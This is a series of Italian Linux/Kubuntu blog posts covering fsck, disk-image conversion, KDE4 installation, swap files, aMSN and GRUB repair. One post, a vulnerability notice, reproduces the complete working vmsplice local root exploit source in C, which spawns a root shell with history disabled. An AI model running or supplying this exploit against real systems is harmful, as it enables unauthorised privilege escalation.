Quick tip: forzare l’esecuzione di fsck al riavvio.

HardDisk icon by everaldo.com Di default (K)Ubuntu esegue un controllo del filesystem con fsck ogni 27 volte che viene montato, oppure ogni 3 mesi, qualunque sia il limite raggiunto prima. Ogni tanto però si può voler forzare un controllo del filesystem al riavvio. Per farlo su (K)Ubuntu eseguite questo comando:

sudo touch /forcefsck

Sì, tutto qui. Al riavvio verrà eseguito fsck. Su alcuni sistemi (ma non ad esempio su Ubuntu dalla versione 6.10 Edgy Eft in poi) si può invece usare questo comando:

sudo shutdown -rF now

Che riavvierà il computer e forzerà l’esecuzione di fsck. (Il motivo tecnico per cui non è applicabile alle release recenti di Ubuntu è che dalla 6.10 il sistema di init è passato da sysvinit a upstart, che attualmente non supporta l’utilizzo di shutdown -rF)

Kernel 2.6.24.1 vulnerabile a vmsplice local exploit.

Il kernel di Linux fino alla versione 2.6.24.1 è vulnerabile a un exploit locale che permette a un utente normale di ottenere i privilegi di root. Il codice dell’exploit è il seguente:

/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * (compile fixed by nenolod.)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint * ) ((char *)(p + 8 ) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}

// milw0rm.com [2008-02-09]

La prima versione non vulnerabile è la 2.6.24-git20, il che vuol dire che tutte le versioni di (K)Ubuntu sono vulnerabili, inclusa l’LTS 6.06 Dapper Drake e Gutsy Gibbon 7.10. Ci si aspetta a giorni un update che elimini questo pericoloso bug.

Convertire le immagini CCD/IMG/SUB in ISO

Non ho fatto in tempo a scrivere il post precedente quando è saltato fuori che l’immagine che dovevo montare non era .cue/.bin ma .ccd/.img/.sub , il formato utilizzato da CloneCD. Per convertire l’immagine in .iso ci viene in soccorso il programma ccd2iso, che potete scaricare da qui: http://downloads.sourceforge.net/ccd2iso/ccd2iso-0.3.tar.gz.

Installate il compilatore e le librerie eseguendo:

sudo aptitude install build-essential

Scompattate il file appena scaricato, eseguite il configure, compilatelo e installatelo:

tar xvf ccd2iso-0.3.tar.gz
cd ccd2iso-0.3
./configure
make
sudo make install

Adesso potrete usare il comand ccd2iso. Per convertire l’immagine image.img in .iso eseguite:

ccd2iso image.img image.iso

Dopo un po’ l’immagine image.iso sarà pronta, e potrete montarla (supponendo che la cartella /mnt/virtcd esista già):

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

Montare immagini CD .bin/.cue su Linux

Oggi avevo bisogno di montare su Kubuntu l’immagine di un cd. Purtroppo l’immagine non era nel classico formato .iso, ma in formato .bin con allegato .cue. Non avendo voglia di installare cdemu o AcetoneISO, mi sono attrezzato per convertire l’immagine .bin/.cue in una più classica .iso. Il programma in questione è bchunk, un vecchio programma che fa ancora egregiamente il suo lavoro. Per installarlo (su Ubuntu, Kubuntu e tutte le derivate Debian) eseguite:

sudo aptitude install bchunk

per le altre distribuzioni (Mandriva, Fedora, Gentoo) usate i tool più opportuni (yum, emerge, …).
Supponendo di voler convertire i file image.bin e image.cue in image.iso, eseguite questo comando:

bchunk image.bin image.cue image.iso

e così verrà creata l’immagine iso equivalente. Per montare l’immagine ad esempio nella cartella /mount/virtcd (che deve già esistere) eseguite:

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

L’iso sarà montata e utilizzabile come una normale cartella.

Weather Wallpaper

Leggendo il blog di nixternal ho scoperto questa giocattolo: weather-wallpaper, un programma scritto in python che cambia automaticamente lo sfondo del desktop per riflettere le condizioni metereologiche attuali. Le istruzioni sul suo sito sono molto chiare, e è possibile scaricare semplicemente il .deb per l’installazione oppure aggiungere il repository dell’autore al proprio sources.list per ricevere automaticamente gli aggiornamenti. Anche se il repository è indicato per Feisty non ho avuto alcun problema nell’installarlo su Kubuntu Gutsy Gibbon 7.10.

Funziona sia su gnome che su KDE, ma ha delle dipendenze da gtk, per cui potrebbe essere non desideratissimo su sistemi che usano KDE come desktop environment e non vogliono “sporcarlo” con applicazioni che non usino solo QT.

Dopo averlo installato e avviato lo si configura indicandogli l’indentificatore ICAO della stazione metereologica più vicina alla città di cui vi interessa il tempo (trovate la lista delle stazioni per l’Italia all’indirizzo http://weather.noaa.gov/cgi-bin/nsd_country_lookup.pl?country=Italy) e lo sfondo verrà automaticamente aggiornato ogni ora.

Ecco un esempio di weather-wallpaper in azione:

Weather wallpaper su Kubuntu 7.10 Gutsy Gibbon

weather-wallpaper: http://mundogeek.net/weather-wallpaper/

Rilasciato KDE 4 RC2 “Coenig” – Installazione su Kubuntu

KDE 4 System Preferences icon by KDE Oxygen TeamKDE 4.0 RC2 “Coenig” è appena stato rilasciato.

KDE 4.0 è ormai molto più usabile e quasi tutti i progetti che lo compongono si stanno allineando per il rilascio, previsto per l’11 Gennaio 2008, l’unica mancanza notevole è KDEPIM, per cui su KDE4 sarà necessario utilizzare la versione per KDE3: KMail e i suoi compagni (Kontact, KOrganizer ecc.) potranno essere installati a posteriori quando saranno pronti.

Rimozione di KDE4 RC1

Se avete installato KDE4 RC1 come precedentemente ho riportato disinstallatelo con apt-get remove kdelibs5 kde4base-data kde4libs-data, cancellate /usr/share/xsessions/kde4.desktop e rimuovete il repository http://ppa.launchpad.net/tsimpson/ubuntu dal vostro /etc/apt/sources.list.

Installazione di KDE4 RC2

  1. Aggiungete il repository deb http://ppa.launchpad.net/kubuntu-members-kde4/ubuntu gutsy main al vostro /etc/apt/sources.list
  2. Installate kdebase-bin
  3. Installate kdebase-workspace kdebase-kde4 kdebase-runtime – questi pacchetti non sono autenticati e quindi riceverete un avviso durante la loro installazione
  4. I programmi di KDE4 dovrebbero comparire nel menu di KDE3, in alternativa al momento del login su kdm avrete l’opzione per avviare una sessione completa di KDE4

Se non volete avviare KDE4 in una sessione X potete installare xserver-xephyr e eseguire il comando Xephyr :1 & export DISPLAY=:1; xterm e nell’xterm che si avvierà eseguite startkde.

I pacchetti dovrebbero essere anche presto disponibili sui repository di gutsy e hardy backports.

Per l’installazione su Debian, Mandriva, openSUSE e Fedora fate riferimento a questa pagina di kde.org.

Se volete evitare l’installazione di software potete anche scaricare un CD Live basato su openSUSE con KDE RC2 da questa pagina.

Kubuntu Tutorials Day

Colgo l’occasione del post per ricordare che domani (oggi?) giovedì 13 Dicembre 2007 sul canale #kubuntu-devel sulla rete IRC Freenode dalle 15 UTC (le 16:00 in Italia) in poi gli sviluppatori di Kubuntu terranno una sessione dedicata ai programmatori (e non) che desiderano essere coinvolti nel lavoro su Kubuntu, che vogliono imparare a creare package .deb o a programmare per KDE4 in python usando i binding PyKDE4. Per I dettagli fate riferimento alla pagina ufficiale.

Se vi perdete l’incontro potrete trovare i log presso questa pagina.

KDE4 su VirtualBox

KDE 4 System Preferences icon by KDE Oxygen TeamKDE 4.0 sarà rilasciato a Gennaio, ma la tentazione di giocherellarci è forte. In un post precedente ho spiegato come installare la RC1 di KDE 4.0 sul proprio sistema. Ma è anche possibile avere un sistema completamente virtualizzato grazie al progetto KDE4Daily di SSJ, che mette a disposizione un’immagine completa di un sistema (basato su Kubuntu Feisty Fawn) con KDE4 in grado di aggiornarsi periodicamente con l’ultima release di KDE4.

L’immagine rilasciata purtroppo è per qemu, mentre preferisco VirtualBox. Quando ho iniziato a giocarci sulla pagina di SSJ non erano ancora disponibili le immagini per VirtualBox (mentre invece ora ci sono delle immagini di disco per VirtualBox, potete usare direttamente quelle). Supponendo che abbiate installati sia qemu che VirtualBox ecco i passi per convertire l’immagine di qemu su in un .vdi adatto a VirtualBox.

Per iniziare prima di tutto è necessario decomprimere l’immagine del disco e convertirla in formato .bin:

$ bunzip2 kde4daily-0_0_1_r734472-qcow.img.bz2
$ qemu-img convert kde4daily-0_0_1_r734472-qcow.img kde4daily.bin

Le due operazioni potrebbero richiedere un po’ di minuti per essere eseguite, stiamo pur sempre decomprimendo e scrivendo file che occupano un bel po’ di GiB. Ora convertiamo il formato raw .bin in un formato utilizzabile da VirtualBox:

$ VBoxManage convertdd kde4daily.bin kde4daily.vdi

VirtualBox Command Line Management Interface Version 1.5.2
(C) 2005-2007 innotek GmbH
All rights reserved.Converting VDI: from DD image file="kde4daily.bin" to file="kde4daily.vdi"...
Creating fixed image with size 3758096384Bytes (3584MB)...

Ora che abbiamo convertito il disco virtuale dal formato di qemu a quello di VirtualBox possiamo utilizzarlo. Avviate VirtualBox e dal menu “File” selezionate “Virtual Disk Manager”, cliccate su “Add”, selezionate il file kde4daily.vdi che avete precedentemente creato, cliccate su “Open” e poi su “Ok” per chiudere la finestra di dialogo.

KDE4 su VirtualBoxPer creare una nuova macchina virtuale dal menu “Machine” selezionate “New”, date un nome alla macchina virtuale (ad esempio “KDE4Daily”, selezionate come sistema operativo guest “Linux 2.6″ e cliccate su “Next”. Per la quantità di RAM suggerisco di non mettere meno 512MiB, e almeno 768MiB se intendete mandare i log dei crash agli sviluppatori – questo di fatto vuol dire che è meglio non giocare con questa macchina se non avete almeno 1GiB di RAM fisica. Cliccate su “Next” e poi su “Finish”. Potrete ora avviare la macchina virtuale con KDE4. Il nome utente e la password sono “kde4daily” (senza virgolette)

Notate che alla schermata di login di KDM è possibile selezionare tra i tipi di sessione una sessione particolare che permette l’aggiornamento on-line dell’immagine scaricando i pacchetti necessari senza bisogno di scaricare un’altra immagine completa.

Di default la rete (in NAT con il sistema operativo host) non è attiva, per attivarla eseguite:

$ sudo su
[sudo] password for kde4daily:
# ifconfig eth1 up
# dhclient eth1

Buon divertimento :)

[via liquidat]

Aggiungere spazio swap “al volo”

HardDisk icon by everaldo.comLo swap è un’area di memoria, tipicamente una partizione dell’hard disk o un file, utilizzata dal sistema operativo per “parcheggiare” dati e processi non in uso in quel momento. Il Memory Manager di Linux tenta per quanto possibile di tenere tutti i processi in RAM, poiché l’accesso al disco è molto più lento di quello alla memoria, e quindi “svegliare” un processo dallo swap è una operazione che porta via molto tempo. Quando la RAM scarseggia ricorre necessariamente allo swap.

Cosa succede quando la RAM e lo swap sono utilizzati completamente? Entra in azione l’Out-of-Memory Killer (questo è il comportamento di default, che può essere modificato tramite /proc). Quello che fa l’OOMKiller e’ selezionare un processo che ritiene particolarmente dannoso o inutile e ucciderlo. Questo può essere Apache, il database server, la vostra sessione di vim… non c’è modo di predire dove colpirà la follia omicida del killer. Una possibilità, ovviamente, è quella di disabilitare il maniaco. Un’altra è quella di aumentare al volo lo spazio di swap disponibile. Per fare questo per fortuna non serve aumentare lo spazio della partizione di swap, ma si può indicare al kernel un file da utilizzare come swap. Per farlo è necessario eseguire i seguenti comandi da root. Poiché uso Ubuntu (no, Kubuntu, ma sono search engine friendly), avvio una shell di root eseguendo sudo -s (detesto mettere sudo davanti a tutte le istruzioni), sulle altre distribuzioni eseguite invece su -.

Il primo passo è creare un file della dimensione desiderata da usare come swap. Supponendo di voler creare il file da 512MiB img.swp nella cartella radice /, il comando da eseguire è:

dd if=/dev/zero of=/img.swp bs=1M count=512

dd è un programma molto versatile che consente di copiare dati da un file all’altro. In questo caso lo usiamo per copiare dal device virtuale /dev/zero (if=/dev/zero, if sta per input file) al file /img.swp (of=/img.swp, of sta per output file) 512 blocchi (count=512) da 1MiB (bs=1M).

Il comando successivo serve per formattare il file in modo che sia adeguato a ospitare lo swap:

mkswap /img.swp

Il file di swap non deve contenere “buchi”, e generalmente se il disco è sufficientemente capiente è possibile trovare una sequenza di blocchi contigui per ospitarlo. Si noti che su Windows una classica causa di rallentamenti è la frammentazione del file di swap: un problema in meno per Linux.

Ora bisogna dire al kernel che c’è un nuovo file di swap da utilizzare:

swapon /img.swp

Opzionalmente, se desiderate rendere persistente la decisione, potete “registrarla” modificando il file /etc/fstab:

nano /etc/fstab

aggiungendo la linea

/img.swp none swap sw 0 0

Utilizzate il comando free -m per verificare che il kernel stia effettivamente utilizzando il nuovo spazio swap: il valore nella colonna “total” della riga “Swap” dovrebbe essere aumentato di una quantità pari alla dimensione in megabyte del file di swap che avete aggiunto (nel nostro caso 512). Per disattivare il file di swap eseguite:

swapoff /img.swp

oppure, se avete modificato /etc/fstab, ri-modificatelo cancellando

/img.swp none swap sw 0 0

Installare facilmente aMSN (con il supporto per i clip audio)

MSN icon by everaldo.comaMSN è un client open source multipiattaforma che supporta il maggior numero di caratteristiche del client originale: emoticon personalizzate, visualizzazione webcam, invio di brevi clip audio, font con antialiasing. Purtroppo molte di queste caratteristiche sono disponibili solo nella versione in via di sviluppo di aMSN, mentre sui repository di (K)Ubuntu si è fermi versione 0.97RC1.

Installare la sviluppo non era proprio agevole fino a poco tempo fa, dato che sui repository non erano disponibili le ultime versioni dei pacchetti Tcl e Tk, necessarie per compilare e usare aMSN. Finalmente sui repository per (K)Ubuntu Gutsy Gibbon 7.10 sono comparsi i nuovi pacchetti .deb già compilati, e la cosa è molto più semplice e meno invasiva (per lo meno rispetto ai metodi che si trovano in genere in giro).

Per motivi che ora non mi va di indagare i pacchetti non sono installabili direttamente da apt-get/aptitude/Synaptic/Adept, per cui dovrete scaricarli a mano. Per farlo aprite un terminale e eseguite:

mkdir amsn
cd amsn
wget http://it.archive.ubuntu.com/ubuntu/pool/universe/t/tcl8.5/tcl8.5_0.b2-2_i386.deb
wget http://it.archive.ubuntu.com/ubuntu/pool/universe/t/tcl8.5/tcl8.5-dev_0.b2-2_i386.deb
wget http://it.archive.ubuntu.com/ubuntu/pool/universe/t/tk8.5/tk8.5_0.b2-1_i386.deb
wget http://it.archive.ubuntu.com/ubuntu/pool/universe/t/tk8.5/tk8.5-dev_0.b2-1_i386.deb

Avrete così i pacchetti di base necessari. Questi pacchetti hanno altre dipendenze, che purtroppo dobbiamo installare a mano. Cogliamo l’occasione e installiamo anche altri pacchetti necessari per la compilazione di aMSN. Eseguite:

sudo aptitude install build-essential libx11-dev libxau-dev libxdmcp-dev x11proto-core-dev x11proto-input-dev x11proto-kb-dev xtrans-dev libjpeg62-dev libpng12-dev

Ora che abbiamo le dipendenze soddisfatte possiamo installare Tcl/Tk 8.5:

sudo dpkg -i tcl8.5_0.b2-2_i386.deb tcl8.5-dev_0.b2-2_i386.deb tk8.5_0.b2-1_i386.deb tk8.5-dev_0.b2-1_i386.deb

Terminata l’installazione procediamo con l’installazione della libreria che permette a aMSN di inviare i suoni (questo passaggio è opzionale):

sudo aptitude install libsnack2

Adesso abbiamo tutto il necessario per procedere con la compilazione. Scaricate l’ultima versione di aMSN e decomprimetela:

wget http://amsn.sourceforge.net/amsn_dev.tar.gz
tar xvf amsn_dev.tar.gz

Entrate nella cartella, configurate i sorgenti e compilateli:

cd msn
./configure
make

Al termine della compilazione, salvo errori, aMSN sarà compilato. Potete verificare che funzioni correttamente eseguendo

./amsn

Se tutto funziona potete chiudere aMSN terminandolo premendo ctrl+c. Passiamo ora renderlo disponibile a tutti gli utenti del sistema. Per farlo eseguite:

cd ..
mv msn amsn
sudo cp -r amsn /opt
sudo ln -s /opt/amsn/amsn /usr/bin/amsn

Adesso tutti gli utenti potranno avviare aMSN eseguendo amsn in un terminale. Opzionalmente potete aggiungere una voce per avviarelo da menu. Per aggiungere automaticamente a tutti gli utenti la voce di menu eseguite questo comando:

cat /opt/amsn/amsn.desktop | sed 's/Icon=amsn\.png/Icon=\/opt\/amsn\/desktop-icons\/128x128\/apps\/amsn\.png/' | sudo tee /usr/share/applications/amsn.desktop

(è un po’ complicato, vi conviene fare copia & incolla per essere sicuri di non sbagliare). In questo modo tutti gli utenti potranno avviare aMSN anche da menu, e aMSN dovrebbe supportare anche l’invio di brevi clip audio tenendo premuto il tasto F2.

Se avete bisogni di chiarimenti scrivete nei commenti.

Reinstallare GRUB

HardDisk icon by everaldo.comPeriodicamente su IRC qualcuno arriva in canale con la necessità di ripristinare GRUB, questo tipicamente in seguito a una reinstallazione di Windows.

Per risolvere il problema bisogna riavviare il sistema con un live CD: il cd di installazione di (K)Ubuntu va benissimo, ma va bene anche Knoppix. Una volta avviato il live CD bisogna aprire un terminale e diventare root eseguendo:

sudo -s

Sulle distribuzioni non basate su Ubuntu usate invece su -. Avrete ora una shell con diritti di root. Eseguite ora:

grub

Si avvierà così la shell di grub, che si presenta come grub> _. Grub è in grado di effettuare semplici ricerche sui filesystem, per cui possiamo dirgli di cercare su quale disco e partizione sono presenti i suoi file di configurazione. Per farlo eseguite:

find /boot/grub/stage1

Questo comando darà una risposta nella forma (hdX, Y), dove X e Y sono due numeri che identificano l’hard disk e la partizione su quell’hard disk. Supponiamo che il risultato sia (hd0,2). Eseguite allora:

root (hd0,2)
setup (hd0)
quit

(ogni comando è su una riga separata). Fatto questo potete chiudere il terminale e riavviare il sistema. Grub dovrebbe essere di nuovo funzionante.